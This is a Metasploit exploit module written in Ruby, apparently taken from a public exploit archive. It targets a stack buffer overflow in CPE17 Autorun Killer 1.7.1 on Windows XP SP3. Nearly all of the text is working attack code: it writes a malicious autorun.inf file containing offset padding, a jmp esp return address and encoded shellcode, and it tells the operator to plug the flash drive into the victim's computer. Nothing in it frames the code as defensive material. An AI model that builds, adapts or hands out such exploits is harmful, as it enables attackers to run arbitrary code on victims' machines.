CPE17 Autorun Killer 1.7.1 Buffer Overflow

`#  
# CPE17 Autorun Killer <= 1.7.1 Stack Buffer Overflow exploit  
# by Xelenonz  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'CPE17 Autorun Killer <= 1.7.1 Stack Buffer Overflow exploit',  
'Description' => %q{  
readfile function is vulnerable it can be overflow   
},  
'Author' => [ 'Xelenonz' ],  
'Version' => '0.1',  
  
'Payload' =>  
{  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
'EncoderOptions' => {'BufferRegister'=>'ECX'},  
},  
'DefaultOptions' =>  
{  
'DisablePayloadHandler' => 'true',  
},  
'Platform' => 'windows',  
  
'Targets' =>  
[  
[  
'Windows XP SP3',  
{ 'Ret' => 0x775a676f,  
'Offset' => 500  
}  
],  
  
],  
'DefaultTarget' => 0,  
  
'Privileged' => false  
))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'autorun.inf']),  
], self.class)  
end  
  
def exploit  
print_status("Encoding Payload ...")  
enc = framework.encoders.create("x86/alpha_mixed")  
enc.datastore.import_options_from_hash( {'BufferRegister'=>'ESP'} )  
hunter = enc.encode(payload.encoded, nil, nil, platform)  
buffer = ""  
buffer << "A"*target['Offset'] # padding offset  
buffer << [target.ret].pack('V') # jmp esp  
buffer << hunter # shellcode  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create(buffer)  
print_status("Plug flashdrive to victim's computer")  
handler  
  
end  
end  
  
`